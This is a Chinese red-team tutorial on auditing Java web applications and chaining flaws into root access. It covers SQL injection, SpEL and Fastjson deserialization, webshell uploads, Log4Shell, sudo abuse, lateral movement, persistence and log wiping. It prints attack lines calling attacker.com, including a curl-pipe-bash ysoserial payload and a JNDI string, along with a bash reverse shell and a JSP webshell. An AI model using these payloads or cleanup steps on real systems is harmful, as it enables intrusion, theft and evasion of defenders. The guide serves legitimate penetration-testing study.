1. 项目概述:从代码到控制权的实战路径
在红队评估或渗透测试中,Web应用往往是突破内网的第一道关口。面对一个庞大的Java Web应用,如何快速定位漏洞,并利用它实现从外部访问到服务器控制权的跨越,是每个安全从业者需要掌握的核心技能。这不仅仅是找到几个SQL注入或XSS那么简单,而是一套从信息收集、静态/动态分析、漏洞利用到权限提升的完整战术链。很多人拿到一个War包或者面对一个在线系统时,会感到无从下手,工具扫一遍没结果就放弃了。但实际上,Java Web由于其框架的复杂性、配置的多样性以及历史代码的沉积,往往隐藏着比想象中更多的攻击路径。今天,我就结合自己多年的实战经验,拆解一下如何像一名真正的攻击者一样思考,对Java Web应用进行快速“打点”,并最终拿到服务器的控制权。这个过程,我们称之为“精准突破”。
2. 核心思路与前期信息侦察
2.1 审计目标的快速定位与优先级划分
拿到一个Java Web应用,无论是源代码、War包还是一个在线地址,第一步不是一头扎进代码里,而是先建立整体认知。我的习惯是遵循“由外而内,由框架到业务”的原则。
首先,识别技术栈。这决定了后续审计的侧重点。
- 查看
WEB-INF/web.xml:这是Java Web的“总配置文件”。重点关注<filter>、<servlet>、<listener>的配置。一个配置了StrutsPrepareAndExecuteFilter的应用,大概率使用了Struts2框架,那么Struts2的历史RCE漏洞(如S2-045, S2-061)就是首要排查对象。如果看到DispatcherServlet,那就是Spring MVC。 - 检查
WEB-INF/lib/目录:这里存放了所有依赖的Jar包。通过Jar包的名称和版本,可以快速勾勒出应用的技术图谱:Spring Framework 4.x? MyBatis 3.5? Fastjson 1.2.68? Log4j 1.2.17? 每一个版本号背后都可能关联着已知的严重漏洞。例如,发现fastjson-1.2.24.jar,几乎可以断定存在Fastjson反序列化漏洞。 - 分析目录结构:标准的Maven项目会有
src/main/java(源码)、src/main/resources(配置文件)、src/main/webapp(Web资源)。非标准结构可能意味着项目老旧或经过特殊定制,需要更仔细地审查。
其次,建立代码地图。对于有源码的情况,我会先用IDE(如IntelliJ IDEA)打开项目,利用其强大的索引功能,快速搜索关键危险函数和配置。
- 入口点搜索:全局搜索
@RequestMapping,@GetMapping,@PostMapping(Spring)或@Path(JAX-RS),快速定位所有对外暴露的HTTP接口。 - 危险函数搜索:这是代码审计的“火力侦察”。我会同时搜索多组关键词:
- 执行类:
Runtime.exec(),ProcessBuilder.start(),GroovyShell.evaluate()。 - 反序列化类:
readObject(),readResolve(),XMLDecoder(结合XStream、Jackson、Fastjson等库)。 - SQL相关:
Statement.executeQuery,executeUpdate(警惕拼接),JdbcTemplate(查看是否使用不当)。 - 文件操作类:
FileInputStream/OutputStream,Paths.get()(路径穿越),FileUpload相关组件。 - 表达式注入:
SpelExpressionParser,OGNL.getValue()(Struts2),Velocity.evaluate()。 - 反射调用:
Class.forName(),Method.invoke(),常与反序列化或命令执行结合。
- 执行类:
注意:搜索时不要只看函数名,要结合上下文。例如,搜索
Runtime.exec()可能结果很少,但如果搜索getRuntime(),可能会发现更多隐藏的调用点。同时,要关注那些自定义的、包装了危险功能的工具类。
2.2 动态分析与交互式测试准备
静态代码分析能发现很多“可能性”,但漏洞是否真的可利用,还需要动态验证。在开始测试前,需要搭建或模拟测试环境。
- 本地环境搭建:如果有源码,最好在本地用Tomcat、Jetty或直接通过Spring Boot运行起来。确保能正常访问登录、主要业务功能。本地环境的优势是可以结合调试(Debug),动态跟踪数据流,精准定位漏洞触发点。
- 代理工具配置:Burp Suite或类似的HTTP代理工具是必备的。将其设置为浏览器和测试应用的代理,拦截所有请求和响应。
- 作用一:流量观察。查看应用真实的参数传递格式(JSON/XML/Form-data)、Session管理机制、有哪些API接口。
- 作用二:重放与篡改。这是测试漏洞的核心手段。可以将拦截到的请求发送到Repeater模块,反复修改参数进行测试。
- 作用三:漏洞扫描辅助。虽然自动化扫描器(如AWVS、Nessus)在Java复杂框架面前常常失灵,但我们可以手动将关键请求发送到Scanner模块,进行定向的模糊测试,或者利用Intruder模块进行爆破、遍历。
- 测试账号获取:尽可能获取多个权限的测试账号(普通用户、管理员)。很多逻辑漏洞(如越权、业务逻辑缺陷)和后台功能点,都需要特定权限才能触及。如果只有低权限账号,就要重点测试“水平越权”(访问同级别其他用户数据)和“垂直越权”(利用低权限功能点或参数实现高权限操作)。
3. 核心漏洞模式深度解析与利用
3.1 SQL注入:不止于‘和‘ or ‘1’=‘1
Java中的SQL注入虽然因预编译(PreparedStatement)的普及而减少,但在复杂业务、动态排序、表名/列名拼接、ORM框架使用不当等场景下依然高发。
MyBatis框架下的注入:这是审计重点。MyBatis的
#{}是安全的参数占位符,会被预编译;而${}是字符串替换,直接拼接进SQL语句,非常危险。<!-- 危险示例:使用${}进行order by动态排序 --> <select id="getUsers" parameterType="map" resultType="User"> SELECT * FROM users ORDER BY ${sortField} ${sortOrder} </select>如果
sortField和sortOrder参数用户可控,攻击者可以传入sortField=id&sortOrder=;DROP TABLE users--,导致注入。审计时需全局搜索${。- 修复与绕过:应使用
#{},或在后端代码中对sortField参数进行白名单校验。如果开发坚持用${}做动态查询,审计时就要特别留意其输入过滤是否严格。
- 修复与绕过:应使用
Hibernate/JPA的注入:使用HQL或JPQL时,如果使用字符串拼接方式创建查询,同样存在注入风险。
// 危险示例:拼接HQL String hql = "from User where username = '" + username + "'"; Query query = session.createQuery(hql);应使用参数绑定的方式:
"from User where username = :name",然后query.setParameter("name", username)。实战技巧:发现疑似注入点后,不要只用
'和and 1=1测试。首先判断数据库类型(通过报错信息、时间盲注的函数sleep()/dbms_pipe.receive_message())。对于Oracle,注意它的注释是--(后面要跟空格),且双引号用法特殊。对于时间盲注,Java应用有时会有连接池超时设置,过长的sleep可能导致连接断开,干扰判断,建议使用较短的间隔(如2秒)。
3.2 命令执行与反序列化:通往RCE的捷径
这是获取服务器控制权的“重型武器”,一旦发现,危害极大。
命令执行:除了直接调用
Runtime.exec(),更要关注那些“间接”的执行点。- 表达式注入:Spring框架的SpEL表达式如果处理不当,可以导致RCE。例如,从请求参数中获取一个值,直接用于
SpelExpressionParser.parseExpression()并执行。
// 危险示例 String expression = request.getParameter("exp"); Expression exp = parser.parseExpression(expression); return exp.getValue();- 模板引擎注入:如Velocity、FreeMarker。如果用户输入被直接作为模板内容解析,可能执行任意代码。审计时搜索
Velocity.evaluate()、FreeMarkerTemplateProcessor.process等。 - 利用外部程序调用:有时应用会调用系统命令处理文件(如ImageMagick的convert)、调用脚本等。如果参数用户可控,且未做过滤,就可能形成注入。例如,一个文件上传功能,后端用
Runtime.exec("unzip -o " + uploadPath)来解压,如果uploadPath用户可控,即可注入命令。
- 表达式注入:Spring框架的SpEL表达式如果处理不当,可以导致RCE。例如,从请求参数中获取一个值,直接用于
反序列化漏洞:这是Java Web审计中的“宝藏区”,利用链复杂但威力巨大。
- 入口点寻找:HTTP请求中,关注接收
byte[]、Object类型参数的方法;关注读取Base64解码后数据的接口;关注使用ObjectInputStream、XMLDecoder、XStream.fromXML()、Jackson的readValue()(针对特定类型)、Fastjson的parseObject()等方法处理用户输入的地方。 - 利用链构造:这是难点。需要依赖环境中存在可利用的“gadget链”组件。例如,经典的
CommonsCollections链(CC1, CC3, CC6等)、Beanutils链等。实战中,如果发现应用引入了commons-collections 3.2.1、commons-beanutils 1.9.2等旧版本库,就要高度警惕。 - 实战流程:
- 识别入口:找到一个可以传入序列化数据(可能是二进制、Base64、Hex格式)的端点。
- 探测依赖:通过报错信息、
WEB-INF/lib列表,判断可能存在的gadget库。 - 生成Payload:使用ysoserial、marshalsec等工具,根据探测到的库版本生成对应的反序列化利用Payload。例如:
java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh | bash" > payload.bin。 - 发送与执行:将Payload进行Base64编码(或保持二进制),通过找到的入口点发送。如果利用成功,服务器就会执行我们指定的命令。
- 入口点寻找:HTTP请求中,关注接收
实操心得:反序列化漏洞的利用成功率高度依赖环境。在真实红队行动中,如果时间紧迫,我会优先寻找更直接的命令执行或文件上传漏洞。反序列化通常作为“深挖”或“权限维持”的后备手段。另外,对于Fastjson反序列化,记住几个关键版本:<=1.2.24(无需AutoType),1.2.25-1.2.41(AutoType绕过),1.2.42-1.2.45(进一步绕过),每个版本都有对应的Payload构造方法。
3.3 文件操作漏洞:从任意读到任意写
文件漏洞是获取源码、敏感信息,甚至写入Webshell的关键。
目录穿越(Path Traversal):这是最常见的文件任意读取漏洞。根本原因是使用用户可控参数拼接文件路径时,未对
../等路径遍历符号进行过滤。// 危险示例:下载文件功能 String fileName = request.getParameter("file"); File file = new File("/var/www/uploads/" + fileName); Files.copy(file.toPath(), response.getOutputStream());如果传入
file=../../../etc/passwd,就能读取系统文件。审计时搜索File,Paths.get(),ServletContext.getResourceAsStream()等函数,看其参数是否用户可控且未做规范化处理。- 修复方案:使用
Path.normalize()进行规范化,然后检查规范化后的路径是否仍在预期的基础目录内。更好的做法是使用白名单,只允许访问特定的、安全的文件名。
- 修复方案:使用
任意文件写入/上传GetShell:这比读取危害更大,直接导致代码执行。
- 无限制上传:上传功能未检查文件后缀、MIME类型、文件头,导致可直接上传JSP、JSPX、War等可执行脚本。
- 限制绕过:
- 前端校验:仅通过JS校验后缀,用Burp抓包修改即可绕过。
- 黑名单校验:禁止上传
jsp,jspx等。可尝试jsp.(末尾空格)、jsp%20、jsp::$DATA(Windows特性)、jspx(Spring MVC下可能解析)、jspx.jsp(双重后缀,某些解析逻辑可能取最后一个后缀)等。 - 内容校验:检查文件头或内容。可以制作图片马,在图片末尾追加JSP代码。如果服务器只是检查了文件头,上传后如果能通过目录穿越或已知路径访问到该文件,依然可以执行。
- 写入点寻找:不一定是上传功能。任何将用户输入写入文件的操作都可能成为利用点,如日志记录、配置文件修改、模板保存等功能。如果写入内容部分可控,可以尝试写入一个JSP Webshell。
如果// 危险示例:保存用户配置 String config = request.getParameter("config"); // 用户部分可控 String content = "base.config=" + config; Files.write(Paths.get("/app/config.properties"), content.getBytes());config参数传入\n\n<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>,并且这个配置文件最终以.jsp后缀被访问,就可能执行命令。关键在于找到“写入”和“访问”这两个动作的关联路径。
4. 框架与组件特定漏洞挖掘
4.1 Spring系列框架审计要点
Spring生态庞大,不同组件有不同风险点。
Spring MVC:
- 参数绑定漏洞:早期版本存在将请求参数自动绑定到模型对象(Model)时的“类类型污染”(CVE-2011-2730),现已较少见。但需注意自定义参数解析器的安全性。
- 视图名称操纵:如果控制器方法返回的视图名称用户可控,可能导致路径遍历或恶意文件包含。
@GetMapping("/page") public String page(@RequestParam String name) { return name; // 如果name为“../WEB-INF/web.xml”,可能造成敏感信息泄露 }- SpEL表达式注入:如前所述,是Spring MVC/Spring Boot中高风险的RCE点。
Spring Boot:
- Actuator端点未授权访问:
/actuator(或旧版的/metrics,/trace,/env,/heapdump等)端点如果暴露且未授权,会泄露大量敏感信息(环境变量、配置、线程堆栈),甚至可以通过/actuator/env修改配置(POST请求),结合/actuator/restart重启应用来触发RCE(需要特定条件)。 - 默认错误页信息泄露:可能暴露堆栈跟踪信息,泄露代码路径、依赖版本等。
- 配置不当:
server.servlet.session.persistent=true且使用默认存储,可能导致Session反序列化问题。
- Actuator端点未授权访问:
Spring Security:
- 权限绕过:配置错误是最常见问题。例如,
antMatchers("/admin/**").hasRole("ADMIN"),但忘记了为/admin本身配置规则,导致/admin可被直接访问。 - 方法级安全注解遗漏:在Controller方法上使用了
@PreAuthorize,但在Service层的方法上忘记使用,攻击者可能通过直接调用Service层方法绕过控制。
- 权限绕过:配置错误是最常见问题。例如,
4.2 第三方依赖组件漏洞
这是“站在巨人肩膀上的攻击”,利用已知漏洞效率极高。
- 建立依赖清单:通过
pom.xml、gradle.build或WEB-INF/lib/目录,整理所有第三方库及其版本。 - 漏洞匹配:使用工具(如OWASP Dependency-Check、Maven的
versions:display-dependency-updates)或手动在NVD、CNVD、开源组件漏洞库(如https://github.com/vulhub/vulhub)中搜索。 - 重点关照对象:
- 序列化/反序列化库:Fastjson, Jackson-databind, XStream, SnakeYAML。
- 模板引擎:Velocity, FreeMarker, Thymeleaf(特定版本存在注入)。
- 日志库:Log4j 1.x (CVE-2019-17571), Log4j 2.x (CVE-2021-44228 - Log4Shell), Logback (CVE-2021-42550)。
- XML解析器:XMLDecoder (Java自带), 以及使用XXE(XML外部实体注入)漏洞的解析器,如DocumentBuilderFactory未禁用DTDs。
- OAuth/SSO客户端:可能存在重定向绕过、状态参数篡改等漏洞。
- 验证与利用:找到疑似漏洞组件后,需验证其是否在攻击路径上。例如,发现Log4j 2.x < 2.15.0,需要找到应用哪里会记录用户可控的输入(如User-Agent, Referer, 表单参数)。在HTTP头或参数中插入
${jndi:ldap://attacker.com/a},观察是否有DNS或LDAP请求发出,来验证漏洞是否存在。
5. 权限提升与后渗透思路
通过Web漏洞获取一个立足点(如一个Webshell、一个命令执行回显)后,工作只完成了一半。如何将这个立足点转化为稳固的服务器控制权,是红队行动的关键。
5.1 突破Java沙箱与容器限制
很多时候,我们拿到的执行环境是受限制的。
- Java Security Manager:如果应用启用了Security Manager,很多操作(如文件读写、执行命令、网络访问)会被禁止。需要尝试绕过策略。可以尝试查找未受保护的方法、利用反射修改策略文件、或寻找已授权的代码路径进行“沙箱逃逸”。在实战中,遇到Security Manager的情况相对较少。
- 容器用户权限低:Java Web应用通常以
tomcat、www-data等非root用户运行。这个用户权限有限,可能无法读取/etc/shadow,不能安装软件。- 信息收集:首先执行
id、whoami查看当前用户和组。执行sudo -l查看当前用户能以root身份无需密码运行哪些命令。这是一个非常重要的突破口,如果发现能运行/bin/bash、/usr/bin/vim、/usr/bin/python等,很可能直接提权。 - 查找SUID/GUID文件:执行
find / -perm -4000 -type f 2>/dev/null查找SUID文件,find / -perm -2000 -type f 2>/dev/null查找GUID文件。常见的危险SUID程序有nmap(旧版本交互模式)、vim、bash、find、cp等,可以利用它们提权。 - 查看计划任务:
crontab -l查看当前用户的计划任务,ls -la /etc/cron*查看系统计划任务。如果有任务以root身份运行,且脚本或路径当前用户可写,可以通过写入恶意命令来提权。 - 查看环境变量与路径:
env查看环境变量,特别是PATH、LD_PRELOAD等。如果当前用户可以控制某个root调用的程序的路径或加载的库,可以用于提权。
- 信息收集:首先执行
5.2 内网横向移动初步
拿到一台Web服务器的权限后,它很可能处于内网中。
- 网络信息收集:
ifconfig或ip addr查看网卡信息,发现内网IP段。netstat -antp或ss -antp查看网络连接,发现该服务器与内网其他机器的通信(数据库、缓存、中间件、其他应用服务器)。cat /etc/hosts查看主机映射。cat /etc/resolv.conf查看DNS服务器,DNS服务器通常也在内网。
- 探测内网存活主机:由于环境可能没有
nmap,可以用ping、bash循环或上传静态编译的扫描工具(如masscan、gobuster的二进制文件)。# 简单的bash循环ping扫描 for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep "bytes from" & done - 端口与服务探测:对存活主机进行常见端口(22-SSH, 3306-MySQL, 6379-Redis, 8080/8009-Tomcat/JBoss, 7001-WebLogic等)扫描。Java环境内,Redis未授权访问、Jenkins弱口令、Docker API未授权等都是常见突破口。
- 利用现有凭据:检查Web应用本身的配置文件(如
application.properties,application.yml,jdbc.properties),里面往往存有数据库、缓存等中间件的连接密码。这些密码很可能在其他系统中复用。也可以尝试从~/.bash_history,~/.ssh/目录下寻找历史命令和私钥。
5.3 持久化与痕迹清理
在取得控制权后,为了维持访问,需要部署后门,并在必要时清理痕迹。
- Webshell持久化:
- 写入隐蔽目录:不要放在Web根目录下容易被扫描到的地方。可以放在
/tmp、/var/tmp,或者Web应用内部的深层目录(如/static/../WEB-INF/classes/下,但需确保容器能解析执行)。 - 写入计划任务:添加一个每分钟或每几分钟访问一次特定URL的cron任务,作为“心跳”或反弹shell。
- 修改现有JSP文件:在某个正常的、访问频率高的JSP页面(如首页
index.jsp)末尾追加一行Webshell代码,这样更隐蔽。 - 部署内存马:这是高阶技巧。通过Java Agent技术或利用特定框架的漏洞(如Tomcat Filter/Servlet内存马),将Webshell注入到运行中的Java进程内存里,不落盘,对抗文件查杀。但实现复杂,对Java内存结构要有较深理解。
- 写入隐蔽目录:不要放在Web根目录下容易被扫描到的地方。可以放在
- 痕迹清理:
- 清除Web访问日志:Tomcat的日志在
logs/目录下,通常是localhost_access_log.*.txt。Nginx/Apache的日志在各自配置的目录。直接删除或清空相关日志文件。 - 清除命令历史:
history -c清除当前session历史,还需要清空~/.bash_history文件。 - 注意:在真实的红队评估中,是否清理痕迹、清理到什么程度,需要严格遵守授权协议和行动规则。在防守方(蓝队)有完善监控的情况下,粗暴的删除日志行为本身就会触发告警。
- 清除Web访问日志:Tomcat的日志在
6. 实战案例串联:一次完整的打点过程
假设我们获得了一个Spring Boot应用的War包,名为customer-portal.war。我们来模拟一次完整的审计打点过程。
- 初步侦察:解压War包,查看
WEB-INF/lib/,发现spring-boot-starter-web-2.3.0.RELEASE.jar,fastjson-1.2.62.jar,mybatis-3.5.5.jar。web.xml显示这是一个Spring Boot应用(无传统web.xml,但有SpringBoot的初始化器)。查看application.properties,发现management.endpoints.web.exposure.include=health,info,env,Actuator的env端点暴露了! - 动态测试:将应用部署到本地测试环境(
java -jar customer-portal.jar)。启动后访问http://localhost:8080/actuator/env,果然可以未授权访问,泄露了大量配置信息,包括数据库密码db.password=SuperSecret123!和一个Redis配置spring.redis.host=internal-redis.prod.svc。 - 深入代码审计:用IDE打开源码。全局搜索
${,在MyBatis的Mapper XML文件中发现一处:
这是一个明显的SQL注入点。对应的Controller方法接收<select id="dynamicOrder" resultType="Order"> SELECT * FROM orders WHERE user_id = #{userId} <if test="orderBy != null"> ORDER BY ${orderBy} </if> </select>orderBy参数。 - 漏洞验证与利用:通过Burp拦截一个查询订单的请求,修改
orderBy参数为id; UPDATE users SET is_admin=1 WHERE username='attacker'--。由于是${}拼接,且后端可能未启用多条语句执行(取决于数据库驱动配置),我们先尝试更简单的布尔盲注:orderBy=id,(SELECT CASE WHEN (substr(database(),1,1)='c') THEN 1 ELSE 1/0 END))。发送请求,如果应用正常返回,说明数据库名第一个字母是‘c’;如果返回500错误(除零错误),则不是。通过这种方式可以提取数据。 - 扩大战果:同时,我们注意到Fastjson版本是1.2.62,这是一个存在多个绕过AutoType限制漏洞的版本。在代码中搜索
parseObject或parse,发现一个处理JSONP的接口:@GetMapping("/api/jsonp") public String jsonp(@RequestParam String callback, @RequestParam String data) { JSONObject obj = JSON.parseObject(data); // 危险! // ... 处理逻辑 return callback + "(" + obj.toJSONString() + ")"; }data参数用户完全可控,并且直接传入了JSON.parseObject(),而该版本Fastjson在特定条件下可以绕过AutoType检查。我们可以构造包含恶意类(如com.sun.rowset.JdbcRowSetImpl)的JSON数据,并利用JNDI注入实现RCE。需要搭建一个恶意的LDAP/RMI服务来配合攻击。 - 权限提升:通过Fastjson漏洞成功在服务器上执行了命令
whoami,发现当前用户是tomcat。执行sudo -l,惊喜地发现:User tomcat may run the following commands on target-host: (ALL) NOPASSWD: /usr/bin/systemctl restart app-servicetomcat用户可以无密码以root身份重启一个服务。我们查看/etc/systemd/system/app-service.service,发现它执行了一个脚本/opt/scripts/restart.sh。而这个脚本tomcat用户可写! - 最终控制:我们向
/opt/scripts/restart.sh写入一个反向Shell命令:bash -i >& /dev/tcp/我们的攻击机IP/4444 0>&1。然后执行sudo systemctl restart app-service。服务以root权限重启,执行了我们修改的脚本,一个root权限的反向Shell连接到了我们的攻击机上。至此,我们完成了从外部Web漏洞发现到获取服务器root权限的完整链条。
这个案例串联了信息泄露、组件漏洞(Fastjson)、配置漏洞(sudo权限)等多种技术,体现了红队攻击中“多点突破,链式利用”的思想。在实际环境中,过程可能更曲折,需要更多的耐心和技巧组合。记住,没有“银弹”,成功的渗透测试来自于对细节的敏锐观察、对技术的深刻理解以及永不放弃的尝试精神。每一次代码审计,都是一次与开发者思维对话的过程,理解他为什么这么写,才能找到他没想到的突破路径。